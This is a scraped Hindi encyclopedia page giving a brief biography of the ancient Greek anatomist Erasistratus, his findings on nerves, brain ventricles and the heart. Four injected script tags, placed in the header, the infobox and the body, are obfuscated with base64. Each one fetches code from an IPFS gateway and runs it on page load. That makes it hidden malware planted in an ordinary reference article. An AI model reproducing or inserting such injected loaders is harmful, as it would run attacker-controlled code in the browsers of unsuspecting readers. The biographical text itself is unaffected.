एरासिस्ट्राटस
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एरासिस्ट्राटस
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 2 |
पृष्ठ संख्या | 247 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1964 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | भगवानदास वर्मा |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एरासिस्ट्राटस ग्रीक शारीरविज्ञ तथा चिकित्सक थे। इनका काल 300 वर्ष ई. पू. तथा जन्मस्थान कीऑस नामक द्वीप कहा जाता है। कुछ दिन राज्यसेवा करने के पश्चात् ये सिकंदरिया (अलेक्ज़ैंड्रिया) में बस गए और यहाँ इन्होंने शरीर विज्ञान संबंधी अपना शिष्यसमुदाय स्थापित किया।
इन्होंने इस बात का पता लगाया कि प्रमुख तंत्रिकाओं का उद्गम मास्तिष्क से होता है। संवेदक और प्रेरक तंत्रिकाओं के विभेद का भी इन्हें ज्ञान था। त्रिदोष पर अवलंबित रोग-निदान-शास्त्र इनको स्वीकार नहीं था। इनका मत था कि धमनियों में एक प्रकार की जीवनी शक्ति रहती है, जिसके कार्य में व्याधात पड़ने पर रोग उत्पन्न हो जाते हैं।
एरासिस्ट्राटस को मस्तिष्क की वल्लिकाओं का विस्तृत ज्ञान था। पित्त, प्लीहा तथा यकृत संबंधी खोज, हृदय की रचना का ज्ञान, श्वासप्रणाली का नामकरण तथा मूत्र-निष्कासन-सलाई के आविष्कार का श्रेय इन्हें दिया जाता है।
टीका टिप्पणी और संदर्भ